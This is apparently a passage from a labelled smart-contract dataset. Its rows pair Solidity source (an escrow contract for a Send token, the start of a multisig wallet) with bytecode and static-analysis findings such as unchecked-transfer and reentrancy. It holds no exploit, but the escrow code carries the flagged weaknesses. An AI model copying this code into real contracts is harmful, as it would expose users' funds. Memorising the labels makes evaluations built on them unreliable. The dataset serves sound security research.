01f10615db557805160ff1916838001178555615de3565b82800160010185558215615de3579182015b82811115615de2578251825591602001919060010190615dc7565b5b509050615df09190615df4565b5090565b615e1691905b80821115615e12576000816000905550600101615dfa565b5090565b905600a165627a7a72305820d8508acd25250cdc191cbdbde021003132554fef59b33c6c28c05263de44fa470029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 5,174 |
0xe9f8cde1b60461b7591375b3bc5f2a22a0a1b3e4
|
pragma solidity ^0.4.18;
// File: contracts/IEscrow.sol
/**
* @title Escrow interface
*
* @dev https://send.sd/token
*/
interface IEscrow {
event Created(
address indexed sender,
address indexed recipient,
address indexed arbitrator,
uint256 transactionId
);
event Released(address indexed arbitrator, address indexed sentTo, uint256 transactionId);
event Dispute(address indexed arbitrator, uint256 transactionId);
event Paid(address indexed arbitrator, uint256 transactionId);
function create(
address _sender,
address _recipient,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee,
uint256 _expiration
) public;
function fund(
address _sender,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee
) public;
}
// File: contracts/ISendToken.sol
/**
* @title ISendToken - Send Consensus Network Token interface
* @dev token interface built on top of ERC20 standard interface
* @dev see https://send.sd/token
*/
interface ISendToken {
function transfer(address to, uint256 value) public returns (bool);
function isVerified(address _address) public constant returns(bool);
function verify(address _address) public;
function unverify(address _address) public;
function verifiedTransferFrom(
address from,
address to,
uint256 value,
uint256 referenceId,
uint256 exchangeRate,
uint256 fee
) public;
function issueExchangeRate(
address _from,
address _to,
address _verifiedAddress,
uint256 _value,
uint256 _referenceId,
uint256 _exchangeRate
) public;
event VerifiedTransfer(
address indexed from,
address indexed to,
address indexed verifiedAddress,
uint256 value,
uint256 referenceId,
uint256 exchangeRate
);
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/Escrow.sol
/**
* @title Vesting contract for SDT
* @dev see https://send.sd/token
*/
contract Escrow is IEscrow, Ownable {
using SafeMath for uint256;
ISendToken public token;
struct Lock {
address sender;
address recipient;
uint256 value;
uint256 fee;
uint256 expiration;
bool paid;
}
mapping(address => mapping(uint256 => Lock)) internal escrows;
function Escrow(address _token) public {
token = ISendToken(_token);
}
modifier tokenRestricted() {
require(msg.sender == address(token));
_;
}
function getStatus(address _arbitrator, uint256 _transactionId)
public view returns(address, address, uint256, uint256, uint256, bool) {
return(
escrows[_arbitrator][_transactionId].sender,
escrows[_arbitrator][_transactionId].recipient,
escrows[_arbitrator][_transactionId].value,
escrows[_arbitrator][_transactionId].fee,
escrows[_arbitrator][_transactionId].expiration,
escrows[_arbitrator][_transactionId].paid
);
}
function isUnlocked(address _arbitrator, uint256 _transactionId) public view returns(bool) {
return escrows[_arbitrator][_transactionId].expiration == 1;
}
/**
* @dev Create a record for held tokens
* @param _arbitrator Address to be authorized to spend locked funds
* @param _transactionId Intenral ID for applications implementing this
* @param _tokens Amount of tokens to lock
* @param _fee A fee to be paid to arbitrator (may be 0)
* @param _expiration After this timestamp, user can claim tokens back.
*/
function create(
address _sender,
address _recipient,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee,
uint256 _expiration
) public tokenRestricted {
require(_tokens > 0);
require(_fee >= 0);
require(escrows[_arbitrator][_transactionId].value == 0);
escrows[_arbitrator][_transactionId].sender = _sender;
escrows[_arbitrator][_transactionId].recipient = _recipient;
escrows[_arbitrator][_transactionId].value = _tokens;
escrows[_arbitrator][_transactionId].fee = _fee;
escrows[_arbitrator][_transactionId].expiration = _expiration;
Created(_sender, _recipient, _arbitrator, _transactionId);
}
/**
* @dev Fund escrow record
* @param _arbitrator Address to be authorized to spend locked funds
* @param _transactionId Intenral ID for applications implementing this
* @param _tokens Amount of tokens to lock
* @param _fee A fee to be paid to arbitrator (may be 0)
*/
function fund(
address _sender,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee
) public tokenRestricted {
require(escrows[_arbitrator][_transactionId].sender == _sender);
require(escrows[_arbitrator][_transactionId].value == _tokens);
require(escrows[_arbitrator][_transactionId].fee == _fee);
require(escrows[_arbitrator][_transactionId].paid == false);
escrows[_arbitrator][_transactionId].paid = true;
Paid(_arbitrator, _transactionId);
}
/**
* @dev Transfer a locked amount
* @notice Only authorized address
* @notice Exchange rate has 18 decimal places
* @param _sender Address with locked amount
* @param _recipient Address to send funds to
* @param _transactionId App/user internal associated ID
* @param _exchangeRate Rate to be reported to the blockchain
*/
function release(
address _sender,
address _recipient,
uint256 _transactionId,
uint256 _exchangeRate
) public {
Lock memory lock = escrows[msg.sender][_transactionId];
require(lock.expiration != 1);
require(lock.sender == _sender);
require(lock.recipient == _recipient || lock.sender == _recipient);
require(lock.paid);
if (lock.fee > 0 && lock.recipient == _recipient) {
token.transfer(_recipient, lock.value);
token.transfer(msg.sender, lock.fee);
} else {
token.transfer(_recipient, lock.value.add(lock.fee));
}
delete escrows[msg.sender][_transactionId];
token.issueExchangeRate(
_sender,
_recipient,
msg.sender,
lock.value,
_transactionId,
_exchangeRate
);
Released(msg.sender, _recipient, _transactionId);
}
/**
* @dev Transfer a locked amount for timeless escrow
* @notice Only authorized address
* @notice Exchange rate has 18 decimal places
* @param _sender Address with locked amount
* @param _recipient Address to send funds to
* @param _transactionId App/user internal associated ID
* @param _exchangeRate Rate to be reported to the blockchain
*/
function releaseUnlocked(
address _sender,
address _recipient,
uint256 _transactionId,
uint256 _exchangeRate
) public {
Lock memory lock = escrows[msg.sender][_transactionId];
require(lock.expiration == 1);
require(lock.sender == _sender);
require(lock.paid);
if (lock.fee > 0 && lock.sender != _recipient) {
token.transfer(_recipient, lock.value);
token.transfer(msg.sender, lock.fee);
} else {
token.transfer(_recipient, lock.value.add(lock.fee));
}
delete escrows[msg.sender][_transactionId];
token.issueExchangeRate(
_sender,
_recipient,
msg.sender,
lock.value,
_transactionId,
_exchangeRate
);
Released(msg.sender, _recipient, _transactionId);
}
/**
* @dev Claim back locked amount after expiration time
* @dev Cannot be claimed if expiration == 0 or expiration == 1
* @notice Only works after lock expired
* @param _arbitrator Authorized lock address
* @param _transactionId transactionId ID from App/user
*/
function claim(
address _arbitrator,
uint256 _transactionId
) public {
Lock memory lock = escrows[_arbitrator][_transactionId];
require(lock.sender == msg.sender);
require(lock.paid);
require(lock.expiration < block.timestamp);
require(lock.expiration != 0);
require(lock.expiration != 1);
delete escrows[_arbitrator][_transactionId];
token.transfer(msg.sender, lock.value.add(lock.fee));
Released(
_arbitrator,
msg.sender,
_transactionId
);
}
/**
* @dev Remove expiration time on a lock
* @notice User wont be able to claim tokens back after this is called by arbitrator address
* @notice Only authorized address
* @param _transactionId App/user internal associated ID
*/
function mediate(
uint256 _transactionId
) public {
require(escrows[msg.sender][_transactionId].paid);
require(escrows[msg.sender][_transactionId].expiration != 0);
require(escrows[msg.sender][_transactionId].expiration != 1);
escrows[msg.sender][_transactionId].expiration = 0;
Dispute(msg.sender, _transactionId);
}
/**
This function is a way to get other ETC20 tokens
back to their rightful owner if sent by mistake
*/
function transferToken(address _tokenAddress, address _transferTo, uint256 _value) public onlyOwner {
require(_tokenAddress != address(token));
ISendToken erc20Token = ISendToken(_tokenAddress);
erc20Token.transfer(_transferTo, _value);
}
}
|
0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806313a46827146100bf57806316afdf8e1461013257806330dbb4e41461019c5780634b20ae39146101f65780634ce0ef95146102915780638da5cb5b14610366578063aad3ec96146103bb578063e56b3e68146103fd578063e664214a14610420578063f2fde38b1461048a578063f5537ede146104c3578063fc0c546a14610524575b600080fd5b34156100ca57600080fd5b610130600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091908035906020019091905050610579565b005b341561013d57600080fd5b61019a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091905050610878565b005b34156101a757600080fd5b6101dc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611055565b604051808215151515815260200191505060405180910390f35b341561020157600080fd5b61028f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919080359060200190919080359060200190919080359060200190919050506110b6565b005b341561029c57600080fd5b6102d1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611444565b604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200185815260200184815260200183815260200182151515158152602001965050505050505060405180910390f35b341561037157600080fd5b6103796116a8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103c657600080fd5b6103fb600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506116cd565b005b341561040857600080fd5b61041e6004808035906020019091905050611ada565b005b341561042b57600080fd5b610488600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091905050611cb6565b005b341561049557600080fd5b6104c1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061241b565b005b34156104ce57600080fd5b610522600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612570565b005b341561052f57600080fd5b6105376126fa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105d557600080fd5b8473ffffffffffffffffffffffffffffffffffffffff16600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561068257600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000858152602001908152602001600020600201541415156106e357600080fd5b80600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008581526020019081526020016000206003015414151561074457600080fd5b60001515600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060050160009054906101000a900460ff1615151415156107b757600080fd5b6001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060050160006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff167f737c69225d647e5994eab1a6c301bf6d9232beb2759ae1e27a8966b4732bc489846040518082815260200191505060405180910390a25050505050565b61088061273e565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060c060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820154815260200160038201548152602001600482015481526020016005820160009054906101000a900460ff161515151581525050905060018160800151141515156109d757600080fd5b8473ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff16141515610a1557600080fd5b8373ffffffffffffffffffffffffffffffffffffffff16816020015173ffffffffffffffffffffffffffffffffffffffff161480610a8257508373ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff16145b1515610a8d57600080fd5b8060a001511515610a9d57600080fd5b60008160600151118015610ae057508373ffffffffffffffffffffffffffffffffffffffff16816020015173ffffffffffffffffffffffffffffffffffffffff16145b15610cc457600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8583604001516000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610bb657600080fd5b6102c65a03f11515610bc757600080fd5b5050506040518051905050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3383606001516000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610ca357600080fd5b6102c65a03f11515610cb457600080fd5b5050506040518051905050610dc8565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85610d1e8460600151856040015161272090919063ffffffff16565b6000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610dab57600080fd5b6102c65a03f11515610dbc57600080fd5b50505060405180519050505b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160009055600382016000905560048201600090556005820160006101000a81549060ff02191690555050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639c79af26868633856040015188886040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019650505050505050600060405180830381600087803b1515610fd557600080fd5b6102c65a03f11515610fe657600080fd5b5050508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f2d87480f50083e2b2759522a8fdda59802650a8055e609a7772cf70c07748f52856040518082815260200191505060405180910390a35050505050565b60006001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008481526020019081526020016000206004015414905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561111257600080fd5b60008311151561112157600080fd5b6000821015151561113157600080fd5b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008681526020019081526020016000206002015414151561119357600080fd5b86600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555085600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008681526020019081526020016000206002018190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008681526020019081526020016000206003018190555080600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000868152602001908152602001600020600401819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f9f94c44dd7c05df7528cfb5aedb137fa0cee080fb3fb54cec59f157b4424b18a876040518082815260200191505060405180910390a450505050505050565b600080600080600080600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600088815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600089815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a815260200190815260200160002060020154600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008b815260200190815260200160002060030154600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008c815260200190815260200160002060040154600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008d815260200190815260200160002060050160009054906101000a900460ff169550955095509550955095509295509295509295565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6116d561273e565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060c060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820154815260200160038201548152602001600482015481526020016005820160009054906101000a900460ff16151515158152505090503373ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614151561185657600080fd5b8060a00151151561186657600080fd5b42816080015110151561187857600080fd5b600081608001511415151561188c57600080fd5b60018160800151141515156118a057600080fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160009055600382016000905560048201600090556005820160006101000a81549060ff02191690555050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb336119c78460600151856040015161272090919063ffffffff16565b6000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611a5457600080fd5b6102c65a03f11515611a6557600080fd5b50505060405180519050503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f2d87480f50083e2b2759522a8fdda59802650a8055e609a7772cf70c07748f52846040518082815260200191505060405180910390a3505050565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082815260200190815260200160002060050160009054906101000a900460ff161515611b4657600080fd5b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206004015414151515611ba957600080fd5b6001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206004015414151515611c0c57600080fd5b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020600401819055503373ffffffffffffffffffffffffffffffffffffffff167fa565b03b51c363a9b16ed01ba14aa3dc13e7edece0764e7ebbd640edc9836c70826040518082815260200191505060405180910390a250565b611cbe61273e565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060c060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820154815260200160038201548152602001600482015481526020016005820160009054906101000a900460ff161515151581525050905060018160800151141515611e1457600080fd5b8473ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff16141515611e5257600080fd5b8060a001511515611e6257600080fd5b60008160600151118015611ea657508373ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614155b1561208a57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8583604001516000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611f7c57600080fd5b6102c65a03f11515611f8d57600080fd5b5050506040518051905050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3383606001516000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561206957600080fd5b6102c65a03f1151561207a57600080fd5b505050604051805190505061218e565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb856120e48460600151856040015161272090919063ffffffff16565b6000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561217157600080fd5b6102c65a03f1151561218257600080fd5b50505060405180519050505b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160009055600382016000905560048201600090556005820160006101000a81549060ff02191690555050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639c79af26868633856040015188886040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019650505050505050600060405180830381600087803b151561239b57600080fd5b6102c65a03f115156123ac57600080fd5b5050508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f2d87480f50083e2b2759522a8fdda59802650a8055e609a7772cf70c07748f52856040518082815260200191505060405180910390a35050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561247657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156124b257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156125cd57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561262a57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156126d857600080fd5b6102c65a03f115156126e957600080fd5b505050604051805190505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080828401905083811015151561273457fe5b8091505092915050565b60c060405190810160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081526020016000815260200160001515815250905600a165627a7a72305820e64300c8ccc9bab4a809d2217f6e3eaa857ee0f7dbc110133816021e6befdfdf0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 5,175 |
0xD5723d4C976e92456Fa097Af5678629917f4fa7d
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
